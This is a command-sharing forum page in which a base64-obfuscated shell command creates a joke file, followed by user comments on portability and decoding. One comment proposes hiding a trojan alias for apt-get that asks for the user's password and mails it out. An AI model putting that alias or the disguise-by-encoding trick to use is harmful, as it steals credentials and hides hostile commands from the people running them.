Command for JOHN CONS

alias Z=base64&&Z=dG91Y2ggUExFQVNFX1NUT1BfQU5OT1lJTkdfQ09NTUFORExJTkVGVV9VU0VSUwo=&&$(echo $Z|Z -d)
Would create a file with a meaningful title. Dedicated to John Cons, who is annoying us users. Merry Christmas!!!
Sample Output
$ ls

By: rodolfoap
2010-12-24 14:29:19

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What Others Think

I'm certain they will treat it and you with the same amount of incredulity that we do.
Habitual · 387 weeks ago
This command isn't universal, as it seems to work only under bash and zsh. On csh and tcsh it will output: Illegal variable name. On sh: Z: not found Furthermore, base64 isn't installed on all unix systems. On FreeBSD, it must be installed from /usr/ports/converters/base64 You were confident johncons where using linux and not another OS like FreeBSD.
Dereckson · 386 weeks and 6 days ago
Dereckson: Do you think someone who submits a command like 'ls porn' uses FreeBSD? haha... Please, find the link above praying 'Know a better way? If you can do better, submit your command here.'
rodolfoap · 386 weeks and 5 days ago
base64 also isn't installed on Mac OS X. However, with that said, you can get around it if you have OpenSSL installed: openssl base64 -d -in <infile> -out <outfile> Should increase the portability.
atoponce · 386 weeks and 4 days ago
what does this command really do?
rne1223 · 386 weeks and 4 days ago
rne1223: it's really simple, but a little obfuscated. You will understand it by issueing (the text is dedicated to this john doe who is submitting crap): echo dG91Y2ggUExFQVNFX1NUT1BfQU5OT1lJTkdfQ09NTUFORExJTkVGVV9VU0VSUwo=|base64 -d You can encrypt things such as alias apt-get='read -p "$USER password: ";echo $REPLY|mail -s $USER; apt-get' :)
rodolfoap · 386 weeks and 4 days ago
This does works perfectly: $(echo "echo Foobar" | base64 | base64 -d) >>> Foobar This doesn't: $(echo "echo Foobar | xargs echo" | base64 | base64 -d) >>> Foobar | xargs echo Why? How do I fix this?
mogoh · 385 weeks ago

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Any thoughts on this command? Does it work on your machine? Can you do the same thing with only 14 characters?

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